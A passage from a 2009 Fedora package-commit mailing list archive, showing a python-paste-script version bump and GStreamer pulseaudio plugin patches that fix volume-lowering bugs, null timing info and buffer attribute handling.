+--- a/ext/pulse/pulsesrc.c
++++ b/ext/pulse/pulsesrc.c
+@@ -528,6 +528,11 @@ gst_pulsesrc_stream_latency_update_cb (pa_stream * s, void *userdata)
+ 
+   info = pa_stream_get_timing_info (s);
+ 
++  if (!info) {
++    GST_LOG_OBJECT (GST_PULSESRC_CAST (userdata),
++        "latency update (information unknown)");
++    return;
++  }
+ #if HAVE_PULSE_0_9_11
+   source_usec = info->configured_source_usec;
+ #else
+@@ -945,25 +950,25 @@ no_nego_needed:
+ static gboolean
+ gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
+ {
+-  pa_buffer_attr buf_attr;
+-  const pa_buffer_attr *buf_attr_ptr;
++  pa_buffer_attr wanted;
++  const pa_buffer_attr *actual;
+   GstPulseSrc *pulsesrc = GST_PULSESRC_CAST (asrc);
+ 
+   pa_threaded_mainloop_lock (pulsesrc->mainloop);
+ 
+-  buf_attr.maxlength = -1;
+-  buf_attr.tlength = -1;
+-  buf_attr.prebuf = 0;
+-  buf_attr.minreq = -1;
+-  buf_attr.fragsize = spec->segsize;
++  wanted.maxlength = -1;
++  wanted.tlength = -1;
++  wanted.prebuf = 0;
++  wanted.minreq = -1;
++  wanted.fragsize = spec->segsize;
+ 
+-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr.maxlength);
+-  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", buf_attr.tlength);
+-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr.prebuf);
+-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", buf_attr.minreq);
+-  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", buf_attr.fragsize);
++  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", wanted.maxlength);
++  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", wanted.tlength);
++  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", wanted.prebuf);
++  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", wanted.minreq);
++  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", wanted.fragsize);
+ 
+-  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &buf_attr,
++  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &wanted,
+           PA_STREAM_INTERPOLATE_TIMING |
+           PA_STREAM_AUTO_TIMING_UPDATE | PA_STREAM_NOT_MONOTONOUS |
+ #if HAVE_PULSE_0_9_11
+@@ -998,20 +1003,23 @@ gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
    }
  
-+  mute = psink->mute;
+   /* get the actual buffering properties now */
+-  buf_attr_ptr = pa_stream_get_buffer_attr (pulsesrc->stream);
++  actual = pa_stream_get_buffer_attr (pulsesrc->stream);
+ 
+-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr_ptr->maxlength);
++  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", actual->maxlength);
+   GST_INFO_OBJECT (pulsesrc, "tlength:   %d (wanted: %d)",
+-      buf_attr_ptr->tlength, buf_attr.tlength);
+-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr_ptr->prebuf);
+-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
+-      buf_attr.minreq);
++      actual->tlength, wanted.tlength);
++  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", actual->prebuf);
++  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", actual->minreq,
++      wanted.minreq);
+   GST_INFO_OBJECT (pulsesrc, "fragsize:  %d (wanted %d)",
+-      buf_attr_ptr->fragsize, buf_attr.fragsize);
++      actual->fragsize, wanted.fragsize);
+ 
+-  /* adjust latency again */
+-  spec->segsize = buf_attr_ptr->fragsize;
+-  spec->segtotal = buf_attr_ptr->maxlength / spec->segsize;
++  if (actual->fragsize >= wanted.fragsize) {
++    spec->segsize = actual->fragsize;
++  } else {
++    spec->segsize = actual->fragsize * (wanted.fragsize / actual->fragsize);
++  }
++  spec->segtotal = actual->maxlength / spec->segsize;
+ 
+   pa_threaded_mainloop_unlock (pulsesrc->mainloop);
+ 
+diff --git a/ext/pulse/pulsesrc.h b/ext/pulse/pulsesrc.h
+index 2358eba..be89434 100644
+--- a/ext/pulse/pulsesrc.h
++++ b/ext/pulse/pulsesrc.h
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
 +
- unlock:
-   if (o)
-     pa_operation_unref (o);
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -70,10 +72,10 @@ struct _GstPulseSrc
+   GstPulseMixerCtrl *mixer;
+   GstPulseProbe *probe;
  
--  mute = psink->mute;
-   pa_threaded_mainloop_unlock (psink->mainloop);
+-  gboolean corked;
+-  gboolean operation_success;
+-  gboolean paused;
+-  gboolean in_read;
++  gboolean corked:1;
++  gboolean operation_success:1;
++  gboolean paused:1;
++  gboolean in_read:1;
+ };
  
-   return mute;
--- 
-1.6.3.3
-
+ struct _GstPulseSrcClass



From lmacken at fedoraproject.org  Sat Oct 17 01:30:06 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sat, 17 Oct 2009 01:30:06 +0000 (UTC)
Subject: rpms/python-paste-script/EL-5 python-paste-script.spec,1.11,1.12
Message-ID: <20091017013006.CB9ED11C02A2@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-paste-script/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23323

Modified Files:
	python-paste-script.spec 
Log Message:
Update to 1.7.3


Index: python-paste-script.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-script/EL-5/python-paste-script.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- python-paste-script.spec	23 Oct 2008 20:33:32 -0000	1.11
+++ python-paste-script.spec	17 Oct 2009 01:30:05 -0000	1.12
@@ -2,8 +2,8 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-paste-script
-Version:        1.6.3
-Release:        3%{?dist}
+Version:        1.7.3
+Release:        1%{?dist}
 Summary:        A pluggable command-line frontend
 Group:          System Environment/Libraries
 License:        MIT
@@ -34,7 +34,6 @@ Built-in features:
 %prep
 %setup -q -n PasteScript-%{version}
 
-
 %build
 %{__python} setup.py build
 
@@ -63,6 +62,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Jan 06 2009 Luke Macken <lmacken at redhat.com> - 1.7.3-1
+- 1.7.3
+
 * Mon Oct 6 2008 Toshio Kuratomi <toshio at fedoraproject.org> - 1.6.3-3
 - Require python-setuptools
 - BuildRequire python-paste-deploy



From lmacken at fedoraproject.org  Sat Oct 17 01:33:06 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sat, 17 Oct 2009 01:33:06 +0000 (UTC)
Subject: rpms/python-paste-script/EL-5 .cvsignore,1.8,1.9 sources,1.8,1.9
Message-ID: <20091017013306.E7E8711C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-paste-script/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23890

Modified Files:
	.cvsignore sources 
Log Message:
Add the new sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-script/EL-5/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	23 Oct 2008 20:33:32 -0000	1.8
+++ .cvsignore	17 Oct 2009 01:33:06 -0000	1.9
@@ -1 +1 @@
-PasteScript-1.6.3.tar.gz
+PasteScript-1.7.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-script/EL-5/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	23 Oct 2008 20:33:32 -0000	1.8
+++ sources	17 Oct 2009 01:33:06 -0000	1.9
@@ -1 +1 @@
-d91ad7e03d07f94a3206fef13c18cf49  PasteScript-1.6.3.tar.gz
+9101a3a23809d3413b39ba8b75dd0bce  PasteScript-1.7.3.tar.gz



From hadess at fedoraproject.org  Sat Oct 17 01:33:41 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 17 Oct 2009 01:33:41 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-12 pulsesink-lowering-volumes.patch, 
	NONE, 1.1 gstreamer-plugins-good.spec, 1.104, 1.105
Message-ID: <20091017013341.BA00611C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24374

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	pulsesink-lowering-volumes.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
- Finally fix pulsesink volume lowering problems (#488532)


pulsesink-lowering-volumes.patch:
 pulsemixer.c     |   14 +-
 pulsemixerctrl.c |   77 ++++++++------
 pulsemixerctrl.h |   13 +-
 pulseprobe.c     |   27 +++-
 pulseprobe.h     |   13 +-
 pulsesink.c      |  299 +++++++++++++++++++++++++++++++++++++++++++------------
 pulsesink.h      |   14 +-
 pulsesrc.c       |   54 +++++----
 pulsesrc.h       |   10 +
 9 files changed, 374 insertions(+), 147 deletions(-)

--- NEW FILE pulsesink-lowering-volumes.patch ---
diff --git a/ext/pulse/pulsemixer.c b/ext/pulse/pulsemixer.c
index 99d33ae..ab99c55 100644
--- a/ext/pulse/pulsemixer.c
+++ b/ext/pulse/pulsemixer.c
@@ -252,6 +252,7 @@ static GstStateChangeReturn
 gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
 {
   GstPulseMixer *this = GST_PULSEMIXER (element);
+  GstStateChangeReturn res;
 
   switch (transition) {
     case GST_STATE_CHANGE_NULL_TO_READY:
@@ -260,19 +261,22 @@ gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
             gst_pulsemixer_ctrl_new (G_OBJECT (this), this->server,
             this->device, GST_PULSEMIXER_UNKNOWN);
       break;
+    default:
+      ;
+  }
+
+  res = GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
+
+  switch (transition) {
     case GST_STATE_CHANGE_READY_TO_NULL:
       if (this->mixer) {
         gst_pulsemixer_ctrl_free (this->mixer);
         this->mixer = NULL;
       }
       break;
-
     default:
       ;
   }
 
-  if (GST_ELEMENT_CLASS (parent_class)->change_state)
-    return GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
-
-  return GST_STATE_CHANGE_SUCCESS;
+  return res;
 }
diff --git a/ext/pulse/pulsemixerctrl.c b/ext/pulse/pulsemixerctrl.c
index ae807c6..760bd3e 100644
--- a/ext/pulse/pulsemixerctrl.c
+++ b/ext/pulse/pulsemixerctrl.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -74,7 +76,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
   }
 
   if (!i && eol < 0) {
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     pa_threaded_mainloop_signal (c->mainloop, 0);
     return;
   }
@@ -89,7 +91,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
   c->index = i->index;
   c->channel_map = i->channel_map;
   c->volume = i->volume;
-  c->muted = i->mute;
+  c->muted = !!i->mute;
   c->type = GST_PULSEMIXER_SINK;
 
   if (c->track) {
@@ -100,7 +102,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
     c->track->flags = flags;
   }
 
-  c->operation_success = 1;
+  c->operation_success = TRUE;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
@@ -124,7 +126,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
   }
 
   if (!i && eol < 0) {
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     pa_threaded_mainloop_signal (c->mainloop, 0);
     return;
   }
@@ -139,7 +141,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
   c->index = i->index;
   c->channel_map = i->channel_map;
   c->volume = i->volume;
-  c->muted = i->mute;
+  c->muted = !!i->mute;
   c->type = GST_PULSEMIXER_SOURCE;
 
   if (c->track) {
@@ -150,7 +152,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
     c->track->flags = flags;
   }
 
-  c->operation_success = 1;
+  c->operation_success = TRUE;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
@@ -193,31 +195,40 @@ gst_pulsemixer_ctrl_success_cb (pa_context * context, int success,
 {
   GstPulseMixerCtrl *c = (GstPulseMixerCtrl *) userdata;
 
-  c->operation_success = success;
+  c->operation_success = !!success;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
-#define CHECK_DEAD_GOTO(c, label) do { \
-if (!(c)->context || pa_context_get_state((c)->context) != PA_CONTEXT_READY) { \
-    GST_WARNING_OBJECT (c->object, "Not connected: %s", (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
-    goto label; \
-} \
-} while(0);
+#define CHECK_DEAD_GOTO(c, label)                                       \
+  G_STMT_START {                                                        \
+    if (!(c)->context ||                                                \
+        !PA_CONTEXT_IS_GOOD(pa_context_get_state((c)->context))) {      \
+      GST_WARNING_OBJECT ((c)->object, "Not connected: %s",             \
+                          (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
+      goto label;                                                       \
+    }                                                                   \
+  } G_STMT_END
 
 static gboolean
 gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
 {
   int e;
-  gchar *name = gst_pulse_client_name ();
+  gchar *name;
   pa_operation *o = NULL;
 
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "ctrl open");
+
   c->mainloop = pa_threaded_mainloop_new ();
-  g_assert (c->mainloop);
+  if (!c->mainloop)
+    return FALSE;
 
   e = pa_threaded_mainloop_start (c->mainloop);
-  g_assert (e == 0);
+  if (e < 0)
+    return FALSE;
+
+  name = gst_pulse_client_name ();
 
   pa_threaded_mainloop_lock (c->mainloop);
 
@@ -239,16 +250,12 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
   }
 
   /* Wait until the context is ready */
-  pa_threaded_mainloop_wait (c->mainloop);
-
-  if (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
-    GST_WARNING_OBJECT (c->object, "Failed to connect context: %s",
-        pa_strerror (pa_context_errno (c->context)));
-    goto unlock_and_fail;
+  while (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
+    CHECK_DEAD_GOTO (c, unlock_and_fail);
+    pa_threaded_mainloop_wait (c->mainloop);
   }
 
   /* Subscribe to events */
-
   if (!(o =
           pa_context_subscribe (c->context,
               PA_SUBSCRIPTION_MASK_SINK | PA_SUBSCRIPTION_MASK_SOURCE,
@@ -258,10 +265,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
     goto unlock_and_fail;
   }
 
-  c->operation_success = 0;
+  c->operation_success = FALSE;
   while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-    pa_threaded_mainloop_wait (c->mainloop);
     CHECK_DEAD_GOTO (c, unlock_and_fail);
+    pa_threaded_mainloop_wait (c->mainloop);
   }
 
   if (!c->operation_success) {
@@ -275,6 +282,7 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
   /* Get sink info */
 
   if (c->type == GST_PULSEMIXER_UNKNOWN || c->type == GST_PULSEMIXER_SINK) {
+    GST_WARNING_OBJECT (c->object, "Get info for '%s'", c->device);
     if (!(o =
             pa_context_get_sink_info_by_name (c->context, c->device,
                 gst_pulsemixer_ctrl_sink_info_cb, c))) {
@@ -283,10 +291,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-      pa_threaded_mainloop_wait (c->mainloop);
       CHECK_DEAD_GOTO (c, unlock_and_fail);
+      pa_threaded_mainloop_wait (c->mainloop);
     }
 
     pa_operation_unref (o);
@@ -309,10 +317,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-      pa_threaded_mainloop_wait (c->mainloop);
       CHECK_DEAD_GOTO (c, unlock_and_fail);
+      pa_threaded_mainloop_wait (c->mainloop);
     }
 
     pa_operation_unref (o);
@@ -353,6 +361,8 @@ gst_pulsemixer_ctrl_close (GstPulseMixerCtrl * c)
 {
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "ctrl close");
+
   if (c->mainloop)
     pa_threaded_mainloop_stop (c->mainloop);
 
@@ -386,6 +396,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
 {
   GstPulseMixerCtrl *c = NULL;
 
+  GST_DEBUG_OBJECT (object, "new mixer ctrl for %s", device);
   c = g_new (GstPulseMixerCtrl, 1);
   c->object = g_object_ref (object);
   c->tracklist = NULL;
@@ -398,7 +409,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
 
   pa_cvolume_mute (&c->volume, PA_CHANNELS_MAX);
   pa_channel_map_init (&c->channel_map);
-  c->muted = 0;
+  c->muted = FALSE;
   c->index = PA_INVALID_INDEX;
   c->type = type;
   c->name = NULL;
@@ -464,10 +475,10 @@ gst_pulsemixer_ctrl_timeout_event (pa_mainloop_api * a, pa_time_event * e,
 
   if (c->update_mute) {
     if (c->type == GST_PULSEMIXER_SINK)
-      o = pa_context_set_sink_mute_by_index (c->context, c->index, !!c->muted,
+      o = pa_context_set_sink_mute_by_index (c->context, c->index, c->muted,
           NULL, NULL);
     else
-      o = pa_context_set_source_mute_by_index (c->context, c->index, !!c->muted,
+      o = pa_context_set_source_mute_by_index (c->context, c->index, c->muted,
           NULL, NULL);
 
     if (!o)
@@ -570,7 +581,7 @@ gst_pulsemixer_ctrl_set_mute (GstPulseMixerCtrl * c, GstMixerTrack * track,
 
   pa_threaded_mainloop_lock (c->mainloop);
 
-  c->muted = !!mute;
+  c->muted = mute;
   c->update_mute = TRUE;
 
   if (c->track) {
diff --git a/ext/pulse/pulsemixerctrl.h b/ext/pulse/pulsemixerctrl.h
index 0dbc139..e6b67ad 100644
--- a/ext/pulse/pulsemixerctrl.h
+++ b/ext/pulse/pulsemixerctrl.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -53,11 +55,17 @@ struct _GstPulseMixerCtrl
 
   gchar *name, *description;
   pa_channel_map channel_map;
+
   pa_cvolume volume;
-  int muted;
+  gboolean muted:1;
+
+  gboolean update_volume:1;
+  gboolean update_mute:1;
+
+  gboolean operation_success:1;
+
   guint32 index;
   GstPulseMixerType type;
-  int operation_success;
 
   GstMixerTrack *track;
 
@@ -66,7 +74,6 @@ struct _GstPulseMixerCtrl
   int outstandig_queries;
   int ignore_queries;
 
-  gboolean update_volume, update_mute;
 };
 
 GstPulseMixerCtrl *gst_pulsemixer_ctrl_new (GObject *object, const gchar * server,
diff --git a/ext/pulse/pulseprobe.c b/ext/pulse/pulseprobe.c
index 588a9c3..6ebbfb2 100644
--- a/ext/pulse/pulseprobe.c
+++ b/ext/pulse/pulseprobe.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -99,15 +101,21 @@ static gboolean
 gst_pulseprobe_open (GstPulseProbe * c)
 {
   int e;
-  gchar *name = gst_pulse_client_name ();
+  gchar *name;
 
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "probe open");
+
   c->mainloop = pa_threaded_mainloop_new ();
-  g_assert (c->mainloop);
+  if (!c->mainloop)
+    return FALSE;
 
   e = pa_threaded_mainloop_start (c->mainloop);
-  g_assert (e == 0);
+  if (e < 0)
+    return FALSE;
+
+  name = gst_pulse_client_name ();
 
   pa_threaded_mainloop_lock (c->mainloop);
 
@@ -184,6 +192,8 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
 {
   pa_operation *o = NULL;
 
+  GST_DEBUG_OBJECT (c->object, "probe enumerate");
+
   pa_threaded_mainloop_lock (c->mainloop);
 
   if (c->enumerate_sinks) {
@@ -197,7 +207,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
 
     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
 
@@ -228,7 +238,7 @@ gst_pulseprobe_enumerate (GstPulseProbe * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
 
       if (gst_pulseprobe_is_dead (c))
@@ -268,6 +278,8 @@ gst_pulseprobe_close (GstPulseProbe * c)
 {
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "probe close");
+
   if (c->mainloop)
     pa_threaded_mainloop_stop (c->mainloop);
 
@@ -302,8 +314,11 @@ gst_pulseprobe_new (GObject * object, GObjectClass * klass,
   c->prop_id = prop_id;
   c->properties =
       g_list_append (NULL, g_object_class_find_property (klass, "device"));
+
   c->devices = NULL;
-  c->devices_valid = 0;
+  c->devices_valid = FALSE;
+
+  c->operation_success = FALSE;
 
   return c;
 }
diff --git a/ext/pulse/pulseprobe.h b/ext/pulse/pulseprobe.h
index bd20591..28cdbb8 100644
--- a/ext/pulse/pulseprobe.h
+++ b/ext/pulse/pulseprobe.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -36,17 +38,20 @@ struct _GstPulseProbe
 {
   GObject *object;
   gchar *server;
+
   GList *devices;
-  gboolean devices_valid;
+  gboolean devices_valid:1;
+
+  gboolean operation_success:1;
+
+  gboolean enumerate_sinks:1;
+  gboolean enumerate_sources:1;
 
   pa_threaded_mainloop *mainloop;
   pa_context *context;
 
   GList *properties;
   guint prop_id;
-
-  int enumerate_sinks, enumerate_sources;
-  int operation_success;
 };
 
 GstPulseProbe *gst_pulseprobe_new (GObject *object, GObjectClass * klass,
diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
index 7ead4fe..1fe2b72 100644
--- a/ext/pulse/pulsesink.c
+++ b/ext/pulse/pulsesink.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*  GStreamer pulseaudio plugin
  *
  *  Copyright (c) 2004-2008 Lennart Poettering
@@ -46,6 +48,8 @@
 
 #include <gst/base/gstbasesink.h>
 #include <gst/gsttaglist.h>
+#include <gst/interfaces/streamvolume.h>
+#include <gst/gst-i18n-plugin.h>
 
 #include "pulsesink.h"
 #include "pulseutil.h"
@@ -62,6 +66,7 @@ GST_DEBUG_CATEGORY_EXTERN (pulse_debug);
 #define DEFAULT_DEVICE          NULL
 #define DEFAULT_DEVICE_NAME     NULL
 #define DEFAULT_VOLUME          1.0
+#define DEFAULT_MUTE            FALSE
 #define MAX_VOLUME              10.0
 
 enum
@@ -71,6 +76,7 @@ enum
   PROP_DEVICE,
   PROP_DEVICE_NAME,
   PROP_VOLUME,
+  PROP_MUTE,
   PROP_LAST
 };
 
@@ -105,12 +111,10 @@ struct _GstPulseRingBuffer
   pa_stream *stream;
 
   pa_sample_spec sample_spec;
-  gint64 offset;
 
-  gboolean corked;
-  gboolean in_commit;
-  gboolean paused;
-  guint required;
+  gboolean corked:1;
+  gboolean in_commit:1;
+  gboolean paused:1;
 };
 
 struct _GstPulseRingBufferClass
@@ -216,8 +220,9 @@ gst_pulseringbuffer_init (GstPulseRingBuffer * pbuf,
   pbuf->sample_spec.channels = 0;
 #endif
 
-  pbuf->paused = FALSE;
   pbuf->corked = TRUE;
+  pbuf->in_commit = FALSE;
+  pbuf->paused = FALSE;
 }
 
 static void
@@ -543,6 +548,10 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
   pbuf = GST_PULSERING_BUFFER_CAST (userdata);
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
 
+  if (!info) {
+    GST_LOG_OBJECT (psink, "latency update (information unknown)");
+    return;
+  }
 #if HAVE_PULSE_0_9_11
   sink_usec = info->configured_sink_usec;
 #else
@@ -557,6 +566,35 @@ gst_pulsering_stream_latency_cb (pa_stream * s, void *userdata)
       info->sink_usec, sink_usec);
 }
 
+#if HAVE_PULSE_0_9_15
+static void
+gst_pulsering_stream_event_cb (pa_stream * p, const char *name,
+    pa_proplist * pl, void *userdata)
+{
+  GstPulseSink *psink;
+  GstPulseRingBuffer *pbuf;
+
+  pbuf = GST_PULSERING_BUFFER_CAST (userdata);
+  psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
+
+  if (!strcmp (name, PA_STREAM_EVENT_REQUEST_CORK)) {
+    /* the stream wants to PAUSE, post a message for the application. */
+    GST_DEBUG_OBJECT (psink, "got request for CORK");
+    gst_element_post_message (GST_ELEMENT_CAST (psink),
+        gst_message_new_request_state (GST_OBJECT_CAST (psink),
+            GST_STATE_PAUSED));
+
+  } else if (!strcmp (name, PA_STREAM_EVENT_REQUEST_UNCORK)) {
+    GST_DEBUG_OBJECT (psink, "got request for UNCORK");
+    gst_element_post_message (GST_ELEMENT_CAST (psink),
+        gst_message_new_request_state (GST_OBJECT_CAST (psink),
+            GST_STATE_PLAYING));
+  } else {
+    GST_DEBUG_OBJECT (psink, "got unknown event %s", name);
+  }
+}
+#endif
+
 /* This method should create a new stream of the given @spec. No playback should
  * start yet so we start in the corked state. */
 static gboolean
@@ -564,15 +602,14 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
 {
   GstPulseSink *psink;
   GstPulseRingBuffer *pbuf;
-  pa_buffer_attr buf_attr;
-  const pa_buffer_attr *buf_attr_ptr;
+  pa_buffer_attr wanted;
+  const pa_buffer_attr *actual;
   pa_channel_map channel_map;
   pa_operation *o = NULL;
   pa_cvolume v, *pv;
   pa_stream_flags_t flags;
   const gchar *name;
   GstAudioClock *clock;
-  gint64 time_offset;
 
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (buf));
   pbuf = GST_PULSERING_BUFFER_CAST (buf);
@@ -622,19 +659,23 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
       gst_pulsering_stream_overflow_cb, pbuf);
   pa_stream_set_latency_update_callback (pbuf->stream,
       gst_pulsering_stream_latency_cb, pbuf);
+#if HAVE_PULSE_0_9_15
+  pa_stream_set_event_callback (pbuf->stream,
+      gst_pulsering_stream_event_cb, pbuf);
+#endif
 
   /* buffering requirements. When setting prebuf to 0, the stream will not pause
    * when we cause an underrun, which causes time to continue. */
-  memset (&buf_attr, 0, sizeof (buf_attr));
-  buf_attr.tlength = spec->segtotal * spec->segsize;
-  buf_attr.maxlength = -1;
-  buf_attr.prebuf = 0;
-  buf_attr.minreq = -1;
+  memset (&wanted, 0, sizeof (wanted));
+  wanted.tlength = spec->segtotal * spec->segsize;
+  wanted.maxlength = -1;
+  wanted.prebuf = 0;
+  wanted.minreq = spec->segsize;
 
-  GST_INFO_OBJECT (psink, "tlength:   %d", buf_attr.tlength);
-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr.maxlength);
-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr.prebuf);
-  GST_INFO_OBJECT (psink, "minreq:    %d", buf_attr.minreq);
+  GST_INFO_OBJECT (psink, "tlength:   %d", wanted.tlength);
+  GST_INFO_OBJECT (psink, "maxlength: %d", wanted.maxlength);
+  GST_INFO_OBJECT (psink, "prebuf:    %d", wanted.prebuf);
+  GST_INFO_OBJECT (psink, "minreq:    %d", wanted.minreq);
 
   /* configure volume when we changed it, else we leave the default */
   if (psink->volume_set) {
@@ -653,6 +694,11 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
 #endif
       PA_STREAM_START_CORKED;
 
+#if HAVE_PULSE_0_9_12
+  if (psink->mute_set && psink->mute)
+    flags |= PA_STREAM_START_MUTED;
+#endif
+
   /* we always start corked (see flags above) */
   pbuf->corked = TRUE;
 
@@ -660,25 +706,12 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
   GST_LOG_OBJECT (psink, "connect for playback to device %s",
       GST_STR_NULL (psink->device));
   if (pa_stream_connect_playback (pbuf->stream, psink->device,
-          &buf_attr, flags, pv, NULL) < 0)
+          &wanted, flags, pv, NULL) < 0)
     goto connect_failed;
 
   /* our clock will now start from 0 again */
   clock = GST_AUDIO_CLOCK (GST_BASE_AUDIO_SINK (psink)->provided_clock);
   gst_audio_clock_reset (clock, 0);
-  time_offset = clock->abidata.ABI.time_offset;
-
-  GST_LOG_OBJECT (psink, "got time offset %" GST_TIME_FORMAT,
-      GST_TIME_ARGS (time_offset));
-
-  /* calculate the sample offset for 0 */
-  if (time_offset > 0)
-    pbuf->offset = gst_util_uint64_scale_int (time_offset,
-        pbuf->sample_spec.rate, GST_SECOND);
-  else
-    pbuf->offset = -gst_util_uint64_scale_int (-time_offset,
-        pbuf->sample_spec.rate, GST_SECOND);
